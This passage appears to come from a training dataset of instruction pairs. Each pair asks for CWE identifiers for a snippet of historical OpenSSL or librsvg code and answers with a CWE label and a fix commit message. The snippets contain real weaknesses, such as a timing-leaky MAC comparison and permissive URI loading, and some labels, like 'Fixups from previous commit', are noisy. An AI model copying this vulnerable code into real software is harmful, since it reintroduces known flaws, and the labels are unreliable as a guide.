0;\n#endif\n\t\t\t}\n\t\ti=s->method->ssl3_enc->mac(s,md,0);\n\t\tif (i < 0 || mac == NULL || memcmp(md, mac, (size_t)mac_size) != 0)\n\t\t\t{\n\t\t\tdecryption_failed_or_bad_record_mac = 1;\n\t\t\t}\n\t\t}\n\n\tif (decryption_failed_or_bad_record_mac)\n\t\t{\n\t\t/* A separate 'decryption_failed' alert was introduced with TLS 1.0,\n\t\t * SSL 3.0 only has 'bad_record_mac'.  But unless a decryption\n\t\t * failure is directly visible from the ciphertext anyway,\n\t\t * we should not reveal which kind of error occured -- this\n\t\t * might become visible to an attacker (e.g. via a logfile) */\n\t\tal=SSL_AD_BAD_RECORD_MAC;\n\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);\n\t\tgoto f_err;\n\t\t}\n\n\t/* r->length is now just compressed */\n\tif (s->expand != NULL)\n\t\t{\n\t\tif (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra)\n\t\t\t{\n\t\t\tal=SSL_AD_RECORD_OVERFLOW;\n\t\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tif (!ssl3_do_uncompress(s))\n\t\t\t{\n\t\t\tal=SSL_AD_DECOMPRESSION_FAILURE;\n\t\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\t}\n\n\tif (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra)\n\t\t{\n\t\tal=SSL_AD_RECORD_OVERFLOW;\n\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);\n\t\tgoto f_err;\n\t\t}\n\n\trr->off=0;\n\t/* So at this point the following is true\n\t * ssl->s3->rrec.type \tis the type of record\n\t * ssl->s3->rrec.length\t== number of bytes in record\n\t * ssl->s3->rrec.off\t== offset to first valid byte\n\t * ssl->s3->rrec.data\t== where to take bytes from, increment\n\t *\t\t\t   after use :-).\n\t */\n\n\t/* we have pulled in a full packet so zero things */\n\ts->packet_length=0;\n\n\t/* just read a 0 length packet */\n\tif (rr->length == 0) goto again;\n\n#if 0\nfprintf(stderr, \"Ultimate Record type=%d, Length=%d\\n\", rr->type, rr->length);\n#endif\n\n\treturn(1);\n\nf_err:\n\tssl3_send_alert(s,SSL3_AL_FATAL,al);\nerr:\n\treturn(ret);\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Add and use a constant-time memcmp.\n\nThis change adds CRYPTO_memcmp, which compares two vectors of bytes in\nan amount of time that's independent of their contents. It also changes\nseveral MAC compares in the code to use this over the standard memcmp,\nwhich may leak information about the size of a matching prefix.\n(cherry picked from commit 2ee798880a246d648ecddadc5b91367bee4a5d98)\n\nConflicts:\n\tcrypto/crypto.h\n\tssl/t1_lib.c'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void OpenSSL_add_all_ciphers(void)\n\t{\n\n#ifndef OPENSSL_NO_DES\n\tEVP_add_cipher(EVP_des_cfb());\n\tEVP_add_cipher(EVP_des_cfb1());\n\tEVP_add_cipher(EVP_des_cfb8());\n\tEVP_add_cipher(EVP_des_ede_cfb());\n\tEVP_add_cipher(EVP_des_ede3_cfb());\n\tEVP_add_cipher(EVP_des_ede3_cfb1());\n\tEVP_add_cipher(EVP_des_ede3_cfb8());\n\n\tEVP_add_cipher(EVP_des_ofb());\n\tEVP_add_cipher(EVP_des_ede_ofb());\n\tEVP_add_cipher(EVP_des_ede3_ofb());\n\n\tEVP_add_cipher(EVP_desx_cbc());\n\tEVP_add_cipher_alias(SN_desx_cbc,\"DESX\");\n\tEVP_add_cipher_alias(SN_desx_cbc,\"desx\");\n\n\tEVP_add_cipher(EVP_des_cbc());\n\tEVP_add_cipher_alias(SN_des_cbc,\"DES\");\n\tEVP_add_cipher_alias(SN_des_cbc,\"des\");\n\tEVP_add_cipher(EVP_des_ede_cbc());\n\tEVP_add_cipher(EVP_des_ede3_cbc());\n\tEVP_add_cipher_alias(SN_des_ede3_cbc,\"DES3\");\n\tEVP_add_cipher_alias(SN_des_ede3_cbc,\"des3\");\n\n\tEVP_add_cipher(EVP_des_ecb());\n\tEVP_add_cipher(EVP_des_ede());\n\tEVP_add_cipher(EVP_des_ede3());\n#endif\n\n#ifndef OPENSSL_NO_RC4\n\tEVP_add_cipher(EVP_rc4());\n\tEVP_add_cipher(EVP_rc4_40());\n#endif\n\n#ifndef OPENSSL_NO_IDEA\n\tEVP_add_cipher(EVP_idea_ecb());\n\tEVP_add_cipher(EVP_idea_cfb());\n\tEVP_add_cipher(EVP_idea_ofb());\n\tEVP_add_cipher(EVP_idea_cbc());\n\tEVP_add_cipher_alias(SN_idea_cbc,\"IDEA\");\n\tEVP_add_cipher_alias(SN_idea_cbc,\"idea\");\n#endif\n\n#ifndef OPENSSL_NO_SEED\n\tEVP_add_cipher(EVP_seed_ecb());\n\tEVP_add_cipher(EVP_seed_cfb());\n\tEVP_add_cipher(EVP_seed_ofb());\n\tEVP_add_cipher(EVP_seed_cbc());\n\tEVP_add_cipher_alias(SN_seed_cbc,\"SEED\");\n\tEVP_add_cipher_alias(SN_seed_cbc,\"seed\");\n#endif\n\n#ifndef OPENSSL_NO_RC2\n\tEVP_add_cipher(EVP_rc2_ecb());\n\tEVP_add_cipher(EVP_rc2_cfb());\n\tEVP_add_cipher(EVP_rc2_ofb());\n\tEVP_add_cipher(EVP_rc2_cbc());\n\tEVP_add_cipher(EVP_rc2_40_cbc());\n\tEVP_add_cipher(EVP_rc2_64_cbc());\n\tEVP_add_cipher_alias(SN_rc2_cbc,\"RC2\");\n\tEVP_add_cipher_alias(SN_rc2_cbc,\"rc2\");\n#endif\n\n#ifndef OPENSSL_NO_BF\n\tEVP_add_cipher(EVP_bf_ecb());\n\tEVP_add_cipher(EVP_bf_cfb());\n\tEVP_add_cipher(EVP_bf_ofb());\n\tEVP_add_cipher(EVP_bf_cbc());\n\tEVP_add_cipher_alias(SN_bf_cbc,\"BF\");\n\tEVP_add_cipher_alias(SN_bf_cbc,\"bf\");\n\tEVP_add_cipher_alias(SN_bf_cbc,\"blowfish\");\n#endif\n\n#ifndef OPENSSL_NO_CAST\n\tEVP_add_cipher(EVP_cast5_ecb());\n\tEVP_add_cipher(EVP_cast5_cfb());\n\tEVP_add_cipher(EVP_cast5_ofb());\n\tEVP_add_cipher(EVP_cast5_cbc());\n\tEVP_add_cipher_alias(SN_cast5_cbc,\"CAST\");\n\tEVP_add_cipher_alias(SN_cast5_cbc,\"cast\");\n\tEVP_add_cipher_alias(SN_cast5_cbc,\"CAST-cbc\");\n\tEVP_add_cipher_alias(SN_cast5_cbc,\"cast-cbc\");\n#endif\n\n#ifndef OPENSSL_NO_RC5\n\tEVP_add_cipher(EVP_rc5_32_12_16_ecb());\n\tEVP_add_cipher(EVP_rc5_32_12_16_cfb());\n\tEVP_add_cipher(EVP_rc5_32_12_16_ofb());\n\tEVP_add_cipher(EVP_rc5_32_12_16_cbc());\n\tEVP_add_cipher_alias(SN_rc5_cbc,\"rc5\");\n\tEVP_add_cipher_alias(SN_rc5_cbc,\"RC5\");\n#endif\n\n#ifndef OPENSSL_NO_AES\n\tEVP_add_cipher(EVP_aes_128_ecb());\n\tEVP_add_cipher(EVP_aes_128_cbc());\n\tEVP_add_cipher(EVP_aes_128_cfb());\n\tEVP_add_cipher(EVP_aes_128_cfb1());\n\tEVP_add_cipher(EVP_aes_128_cfb8());\n\tEVP_add_cipher(EVP_aes_128_ofb());\n#if 0\n\tEVP_add_cipher(EVP_aes_128_ctr());\n#endif\n\tEVP_add_cipher_alias(SN_aes_128_cbc,\"AES128\");\n\tEVP_add_cipher_alias(SN_aes_128_cbc,\"aes128\");\n\tEVP_add_cipher(EVP_aes_192_ecb());\n\tEVP_add_cipher(EVP_aes_192_cbc());\n\tEVP_add_cipher(EVP_aes_192_cfb());\n\tEVP_add_cipher(EVP_aes_192_cfb1());\n\tEVP_add_cipher(EVP_aes_192_cfb8());\n\tEVP_add_cipher(EVP_aes_192_ofb());\n#if 0\n\tEVP_add_cipher(EVP_aes_192_ctr());\n#endif\n\tEVP_add_cipher_alias(SN_aes_192_cbc,\"AES192\");\n\tEVP_add_cipher_alias(SN_aes_192_cbc,\"aes192\");\n\tEVP_add_cipher(EVP_aes_256_ecb());\n\tEVP_add_cipher(EVP_aes_256_cbc());\n\tEVP_add_cipher(EVP_aes_256_cfb());\n\tEVP_add_cipher(EVP_aes_256_cfb1());\n\tEVP_add_cipher(EVP_aes_256_cfb8());\n\tEVP_add_cipher(EVP_aes_256_ofb());\n#if 0\n\tEVP_add_cipher(EVP_aes_256_ctr());\n#endif\n\tEVP_add_cipher_alias(SN_aes_256_cbc,\"AES256\");\n\tEVP_add_cipher_alias(SN_aes_256_cbc,\"aes256\");\n#endif\n#endif\n\n#ifndef OPENSSL_NO_CAMELLIA\n\tEVP_add_cipher(EVP_camellia_128_ecb());\n\tEVP_add_cipher(EVP_camellia_128_cbc());\n\tEVP_add_cipher(EVP_camellia_128_cfb());\n\tEVP_add_cipher(EVP_camellia_128_cfb1());\n\tEVP_add_cipher(EVP_camellia_128_cfb8());\n\tEVP_add_cipher(EVP_camellia_128_ofb());\n\tEVP_add_cipher_alias(SN_camellia_128_cbc,\"CAMELLIA128\");\n\tEVP_add_cipher_alias(SN_camellia_128_cbc,\"camellia128\");\n\tEVP_add_cipher(EVP_camellia_192_ecb());\n\tEVP_add_cipher(EVP_camellia_192_cbc());\n\tEVP_add_cipher(EVP_camellia_192_cfb());\n\tEVP_add_cipher(EVP_camellia_192_cfb1());\n\tEVP_add_cipher(EVP_camellia_192_cfb8());\n\tEVP_add_cipher(EVP_camellia_192_ofb());\n\tEVP_add_cipher_alias(SN_camellia_192_cbc,\"CAMELLIA192\");\n\tEVP_add_cipher_alias(SN_camellia_192_cbc,\"camellia192\");\n\tEVP_add_cipher(EVP_camellia_256_ecb());\n\tEVP_add_cipher(EVP_camellia_256_cbc());\n\tEVP_add_cipher(EVP_camellia_256_cfb());\n\tEVP_add_cipher(EVP_camellia_256_cfb1());\n\tEVP_add_cipher(EVP_camellia_256_cfb8());\n\tEVP_add_cipher(EVP_camellia_256_ofb());\n\tEVP_add_cipher_alias(SN_camellia_256_cbc,\"CAMELLIA256\");\n\tEVP_add_cipher_alias(SN_camellia_256_cbc,\"camellia256\");\n#endif\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Fixups from previous commit.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int ssl3_get_record(SSL *s)\n\t{\n\tint ssl_major,ssl_minor,al;\n\tint enc_err,n,i,ret= -1;\n\tSSL3_RECORD *rr;\n\tSSL_SESSION *sess;\n\tunsigned char *p;\n\tunsigned char md[EVP_MAX_MD_SIZE];\n\tshort version;\n\tunsigned mac_size;\n\tint clear=0;\n\tsize_t extra;\n\n\trr= &(s->s3->rrec);\n\tsess=s->session;\n\n\tif (s->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)\n\t\textra=SSL3_RT_MAX_EXTRA;\n\telse\n\t\textra=0;\n\tif (extra && !s->s3->init_extra)\n\t\t{\n\t\t/* An application error: SLS_OP_MICROSOFT_BIG_SSLV3_BUFFER\n\t\t * set after ssl3_setup_buffers() was done */\n\t\tSSLerr(SSL_F_SSL3_GET_RECORD, ERR_R_INTERNAL_ERROR);\n\t\treturn -1;\n\t\t}\n\nagain:\n\t/* check if we have the header */\n\tif (\t(s->rstate != SSL_ST_READ_BODY) ||\n\t\t(s->packet_length < SSL3_RT_HEADER_LENGTH)) \n\t\t{\n\t\tn=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);\n\t\tif (n <= 0) return(n); /* error or non-blocking */\n\t\ts->rstate=SSL_ST_READ_BODY;\n\n\t\tp=s->packet;\n\n\t\t/* Pull apart the header into the SSL3_RECORD */\n\t\trr->type= *(p++);\n\t\tssl_major= *(p++);\n\t\tssl_minor= *(p++);\n\t\tversion=(ssl_major<<8)|ssl_minor;\n\t\tn2s(p,rr->length);\n#if 0\nfprintf(stderr, \"Record type=%d, Length=%d\\n\", rr->type, rr->length);\n#endif\n\n\t\t/* Lets check version */\n\t\tif (!s->first_packet)\n\t\t\t{\n\t\t\tif (version != s->version)\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_WRONG_VERSION_NUMBER);\n                                if ((s->version & 0xFF00) == (version & 0xFF00))\n                                \t/* Send back error using their minor version number :-) */\n\t\t\t\t\ts->version = (unsigned short)version;\n\t\t\t\tal=SSL_AD_PROTOCOL_VERSION;\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n\t\t\t}\n\n\t\tif ((version>>8) != SSL3_VERSION_MAJOR)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_WRONG_VERSION_NUMBER);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\tif (rr->length > s->s3->rbuf.len - SSL3_RT_HEADER_LENGTH)\n\t\t\t{\n\t\t\tal=SSL_AD_RECORD_OVERFLOW;\n\t\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_PACKET_LENGTH_TOO_LONG);\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\t/* now s->rstate == SSL_ST_READ_BODY */\n\t\t}\n\n\t/* s->rstate == SSL_ST_READ_BODY, get and decode the data */\n\n\tif (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH)\n\t\t{\n\t\t/* now s->packet_length == SSL3_RT_HEADER_LENGTH */\n\t\ti=rr->length;\n\t\tn=ssl3_read_n(s,i,i,1);\n\t\tif (n <= 0) return(n); /* error or non-blocking io */\n\t\t/* now n == rr->length,\n\t\t * and s->packet_length == SSL3_RT_HEADER_LENGTH + rr->length */\n\t\t}\n\n\ts->rstate=SSL_ST_READ_HEADER; /* set state for later operations */\n\n\t/* At this point, s->packet_length == SSL3_RT_HEADER_LNGTH + rr->length,\n\t * and we have that many bytes in s->packet\n\t */\n\trr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]);\n\n\t/* ok, we can now read from 's->packet' data into 'rr'\n\t * rr->input points at rr->length bytes, which\n\t * need to be copied into rr->data by either\n\t * the decryption or by the decompression\n\t * When the data is 'copied' into the rr->data buffer,\n\t * rr->input will be pointed at the new buffer */ \n\n\t/* We now have - encrypted [ MAC [ compressed [ plain ] ] ]\n\t * rr->length bytes of encrypted compressed stuff. */\n\n\t/* check is not needed I believe */\n\tif (rr->length > SSL3_RT_MAX_ENCRYPTED_LENGTH+extra)\n\t\t{\n\t\tal=SSL_AD_RECORD_OVERFLOW;\n\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_ENCRYPTED_LENGTH_TOO_LONG);\n\t\tgoto f_err;\n\t\t}\n\n\t/* decrypt in place in 'rr->input' */\n\trr->data=rr->input;\n\trr->orig_len=rr->length;\n\n\tenc_err = s->method->ssl3_enc->enc(s,0);\n\t/* enc_err is:\n\t *    0: (in non-constant time) if the record is publically invalid.\n\t *    1: if the padding is valid\n\t *    -1: if the padding is invalid */\n\tif (enc_err == 0)\n\t\t{\n\t\t/* SSLerr() and ssl3_send_alert() have been called */\n\t\tgoto err;\n\t\t}\n\n#ifdef TLS_DEBUG\nprintf(\"dec %d\\n\",rr->length);\n{ unsigned int z; for (z=0; zlength; z++) printf(\"%02X%c\",rr->data[z],((z+1)%16)?' ':'\\n'); }\nprintf(\"\\n\");\n#endif\n\n\t/* r->length is now the compressed data plus mac */\n\tif (\t(sess == NULL) ||\n\t\t(s->enc_read_ctx == NULL) ||\n\t\t(EVP_MD_CTX_md(s->read_hash) == NULL))\n\t\tclear=1;\n\n\tif (!clear)\n\t\t{\n\t\t/* !clear => s->read_hash != NULL => mac_size != -1 */\n\t\tunsigned char *mac = NULL;\n\t\tunsigned char mac_tmp[EVP_MAX_MD_SIZE];\n\t\tmac_size=EVP_MD_CTX_size(s->read_hash);\n\t\tOPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE);\n\n\t\t/* orig_len is the length of the record before any padding was\n\t\t * removed. This is public information, as is the MAC in use,\n\t\t * therefore we can safely process the record in a different\n\t\t * amount of time if it's too short to possibly contain a MAC.\n\t\t */\n\t\tif (rr->orig_len < mac_size ||\n\t\t    /* CBC records must have a padding length byte too. */\n\t\t    (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE &&\n\t\t     rr->orig_len < mac_size+1))\n\t\t\t{\n\t\t\tal=SSL_AD_DECODE_ERROR;\n\t\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\tif (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE)\n\t\t\t{\n\t\t\t/* We update the length so that the TLS header bytes\n\t\t\t * can be constructed correctly but we need to extract\n\t\t\t * the MAC in constant time from within the record,\n\t\t\t * without leaking the contents of the padding bytes.\n\t\t\t * */\n\t\t\tmac = mac_tmp;\n\t\t\tssl3_cbc_copy_mac(mac_tmp, rr, mac_size);\n\t\t\trr->length -= mac_size;\n\t\t\t}\n\t\telse\n\t\t\t{\n\t\t\t/* In this case there's no padding, so |rec->orig_len|\n\t\t\t * equals |rec->length| and we checked that there's\n\t\t\t * enough bytes for |mac_size| above. */\n\t\t\trr->length -= mac_size;\n\t\t\tmac = &rr->data[rr->length];\n\t\t\t}\n\n\t\ti=s->method->ssl3_enc->mac(s,md,0 /* not send */);\n\t\tif (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0)\n\t\t\tenc_err = -1;\n\t\tif (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size)\n\t\t\tenc_err = -1;\n\t\t}\n\n\tif (enc_err < 0)\n\t\t{\n\t\t/* A separate 'decryption_failed' alert was introduced with TLS 1.0,\n\t\t * SSL 3.0 only has 'bad_record_mac'.  But unless a decryption\n\t\t * failure is directly visible from the ciphertext anyway,\n\t\t * we should not reveal which kind of error occured -- this\n\t\t * might become visible to an attacker (e.g. via a logfile) */\n\t\tal=SSL_AD_BAD_RECORD_MAC;\n\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);\n\t\tgoto f_err;\n\t\t}\n\n\t/* r->length is now just compressed */\n\tif (s->expand != NULL)\n\t\t{\n\t\tif (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra)\n\t\t\t{\n\t\t\tal=SSL_AD_RECORD_OVERFLOW;\n\t\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tif (!ssl3_do_uncompress(s))\n\t\t\t{\n\t\t\tal=SSL_AD_DECOMPRESSION_FAILURE;\n\t\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\t}\n\n\tif (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra)\n\t\t{\n\t\tal=SSL_AD_RECORD_OVERFLOW;\n\t\tSSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);\n\t\tgoto f_err;\n\t\t}\n\n\trr->off=0;\n\t/* So at this point the following is true\n\t * ssl->s3->rrec.type \tis the type of record\n\t * ssl->s3->rrec.length\t== number of bytes in record\n\t * ssl->s3->rrec.off\t== offset to first valid byte\n\t * ssl->s3->rrec.data\t== where to take bytes from, increment\n\t *\t\t\t   after use :-).\n\t */\n\n\t/* we have pulled in a full packet so zero things */\n\ts->packet_length=0;\n\n\t/* just read a 0 length packet */\n\tif (rr->length == 0) goto again;\n\n#if 0\nfprintf(stderr, \"Ultimate Record type=%d, Length=%d\\n\", rr->type, rr->length);\n#endif\n\n\treturn(1);\n\nf_err:\n\tssl3_send_alert(s,SSL3_AL_FATAL,al);\nerr:\n\treturn(ret);\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Update DTLS code to match CBC decoding in TLS.\n\nThis change updates the DTLS code to match the constant-time CBC\nbehaviour in the TLS.\n(cherry picked from commit 9f27de170d1b7bef3d46d41382dc4dafde8b3900)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void ssl3_cbc_copy_mac(unsigned char* out,\n\t\t       const SSL3_RECORD *rec,\n\t\t       unsigned md_size,unsigned orig_len)\n\t{\n#if defined(CBC_MAC_ROTATE_IN_PLACE)\n\tunsigned char rotated_mac_buf[EVP_MAX_MD_SIZE*2];\n\tunsigned char *rotated_mac;\n#else\n\tunsigned char rotated_mac[EVP_MAX_MD_SIZE];\n#endif\n\n\t/* mac_end is the index of |rec->data| just after the end of the MAC. */\n\tunsigned mac_end = rec->length;\n\tunsigned mac_start = mac_end - md_size;\n\t/* scan_start contains the number of bytes that we can ignore because\n\t * the MAC's position can only vary by 255 bytes. */\n\tunsigned scan_start = 0;\n\tunsigned i, j;\n\tunsigned div_spoiler;\n\tunsigned rotate_offset;\n\n\tOPENSSL_assert(orig_len >= md_size);\n\tOPENSSL_assert(md_size <= EVP_MAX_MD_SIZE);\n\n#if defined(CBC_MAC_ROTATE_IN_PLACE)\n\trotated_mac = (unsigned char*) (((intptr_t)(rotated_mac_buf + 64)) & ~63);\n#endif\n\n\t/* This information is public so it's safe to branch based on it. */\n\tif (orig_len > md_size + 255 + 1)\n\t\tscan_start = orig_len - (md_size + 255 + 1);\n\t/* div_spoiler contains a multiple of md_size that is used to cause the\n\t * modulo operation to be constant time. Without this, the time varies\n\t * based on the amount of padding when running on Intel chips at least.\n\t *\n\t * The aim of right-shifting md_size is so that the compiler doesn't\n\t * figure out that it can remove div_spoiler as that would require it\n\t * to prove that md_size is always even, which I hope is beyond it. */\n\tdiv_spoiler = md_size >> 1;\n\tdiv_spoiler <<= (sizeof(div_spoiler)-1)*8;\n\trotate_offset = (div_spoiler + mac_start - scan_start) % md_size;\n\n\tmemset(rotated_mac, 0, md_size);\n\tfor (i = scan_start, j = 0; i < orig_len; i++)\n\t\t{\n\t\tunsigned char mac_started = constant_time_ge(i, mac_start);\n\t\tunsigned char mac_ended = constant_time_ge(i, mac_end);\n\t\tunsigned char b = rec->data[i];\n\t\trotated_mac[j++] |= b & mac_started & ~mac_ended;\n\t\tj &= constant_time_lt(j,md_size);\n\t\t}\n\n\t/* Now rotate the MAC */\n#if defined(CBC_MAC_ROTATE_IN_PLACE)\n\tj = 0;\n\tfor (i = 0; i < md_size; i++)\n\t\t{\n\t\tout[j++] = rotated_mac[rotate_offset++];\n\t\trotate_offset &= constant_time_lt(rotate_offset,md_size);\n\t\t}\n#else\n\tmemset(out, 0, md_size);\n\trotate_offset = md_size - rotate_offset;\n\trotate_offset &= constant_time_lt(rotate_offset,md_size);\n\tfor (i = 0; i < md_size; i++)\n\t\t{\n\t\tfor (j = 0; j < md_size; j++)\n\t\t\tout[j] |= rotated_mac[i] & constant_time_eq_8(j, rotate_offset);\n\t\trotate_offset++;\n\t\trotate_offset &= constant_time_lt(rotate_offset,md_size);\n\t\t}\n#endif\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 's3_cbc.c: make CBC_MAC_ROTATE_IN_PLACE universal.\n(cherry picked from commit f93a41877d8d7a287debb7c63d7b646abaaf269c)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: rsvg_acquire_data_data (const char *uri,\n                        const char *base_uri, \n                        char **out_mime_type,\n                        gsize *out_len,\n                        GError **error)\n{\n    const char *comma, *start, *end;\n    char *mime_type;\n    char *data;\n    gsize data_len;\n    gboolean base64 = FALSE;\n\n    g_assert (out_len != NULL);\n    g_assert (g_str_has_prefix (uri, \"data:\"));\n\n    mime_type = NULL;\n    start = uri + 5;\n    comma = strchr (start, ',');\n\n    if (comma && comma != start) {\n        /* Deal with MIME type / params */\n        if (comma > start + BASE64_INDICATOR_LEN && \n            !g_ascii_strncasecmp (comma - BASE64_INDICATOR_LEN, BASE64_INDICATOR, BASE64_INDICATOR_LEN)) {\n            end = comma - BASE64_INDICATOR_LEN;\n            base64 = TRUE;\n        } else {\n            end = comma;\n        }\n\n        if (end != start) {\n            mime_type = uri_decoded_copy (start, end - start);\n        }\n    }\n\n    if (comma)\n        start = comma + 1;\n\n    if (*start) {\n        data = uri_decoded_copy (start, strlen (start));\n\n        if (base64)\n            data = g_base64_decode_inplace ((char*) data, &data_len);\n        else\n            data_len = strlen ((const char *) data);\n    } else {\n        data = NULL;\n        data_len = 0;\n    }\n\n    if (out_mime_type)\n        *out_mime_type = mime_type;\n    else\n        g_free (mime_type);\n\n    *out_len = data_len;\n    return data;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'io: Implement strict load policy\n\nAllow any file to load from data:, and any resource to load from other\nresources. Only allow file: to load other file: URIs from below the path\nof the base file. Any other loads are denied.\n\nBug #691708.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int ssl3_read_bytes(SSL *s, int type, unsigned char *buf, int len, int peek)\n\t{\n\tint al,i,j,ret;\n\tunsigned int n;\n\tSSL3_RECORD *rr;\n\tvoid (*cb)(const SSL *ssl,int type2,int val)=NULL;\n\n\tif (s->s3->rbuf.buf == NULL) /* Not initialized yet */\n\t\tif (!ssl3_setup_read_buffer(s))\n\t\t\treturn(-1);\n\n\tif ((type && (type != SSL3_RT_APPLICATION_DATA) && (type != SSL3_RT_HANDSHAKE) && type) ||\n\t    (peek && (type != SSL3_RT_APPLICATION_DATA)))\n\t\t{\n\t\tSSLerr(SSL_F_SSL3_READ_BYTES, ERR_R_INTERNAL_ERROR);\n\t\treturn -1;\n\t\t}\n\n\tif ((type == SSL3_RT_HANDSHAKE) && (s->s3->handshake_fragment_len > 0))\n\t\t/* (partially) satisfy request from storage */\n\t\t{\n\t\tunsigned char *src = s->s3->handshake_fragment;\n\t\tunsigned char *dst = buf;\n\t\tunsigned int k;\n\n\t\t/* peek == 0 */\n\t\tn = 0;\n\t\twhile ((len > 0) && (s->s3->handshake_fragment_len > 0))\n\t\t\t{\n\t\t\t*dst++ = *src++;\n\t\t\tlen--; s->s3->handshake_fragment_len--;\n\t\t\tn++;\n\t\t\t}\n\t\t/* move any remaining fragment bytes: */\n\t\tfor (k = 0; k < s->s3->handshake_fragment_len; k++)\n\t\t\ts->s3->handshake_fragment[k] = *src++;\n\t\treturn n;\n\t}\n\n\t/* Now s->s3->handshake_fragment_len == 0 if type == SSL3_RT_HANDSHAKE. */\n\n\tif (!s->in_handshake && SSL_in_init(s))\n\t\t{\n\t\t/* type == SSL3_RT_APPLICATION_DATA */\n\t\ti=s->handshake_func(s);\n\t\tif (i < 0) return(i);\n\t\tif (i == 0)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_SSL_HANDSHAKE_FAILURE);\n\t\t\treturn(-1);\n\t\t\t}\n\t\t}\nstart:\n\ts->rwstate=SSL_NOTHING;\n\n\t/* s->s3->rrec.type\t    - is the type of record\n\t * s->s3->rrec.data,    - data\n\t * s->s3->rrec.off,     - offset into 'data' for next read\n\t * s->s3->rrec.length,  - number of bytes. */\n\trr = &(s->s3->rrec);\n\n\t/* get new packet if necessary */\n\tif ((rr->length == 0) || (s->rstate == SSL_ST_READ_BODY))\n\t\t{\n\t\tret=ssl3_get_record(s);\n\t\tif (ret <= 0) return(ret);\n\t\t}\n\n\t/* we now have a packet which can be read and processed */\n\n\tif (s->s3->change_cipher_spec /* set when we receive ChangeCipherSpec,\n\t                               * reset by ssl3_get_finished */\n\t\t&& (rr->type != SSL3_RT_HANDSHAKE))\n\t\t{\n\t\tal=SSL_AD_UNEXPECTED_MESSAGE;\n\t\tSSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_DATA_BETWEEN_CCS_AND_FINISHED);\n\t\tgoto f_err;\n\t\t}\n\n\t/* If the other end has shut down, throw anything we read away\n\t * (even in 'peek' mode) */\n\tif (s->shutdown & SSL_RECEIVED_SHUTDOWN)\n\t\t{\n\t\trr->length=0;\n\t\ts->rwstate=SSL_NOTHING;\n\t\treturn(0);\n\t\t}\n\n\n\tif (type == rr->type) /* SSL3_RT_APPLICATION_DATA or SSL3_RT_HANDSHAKE 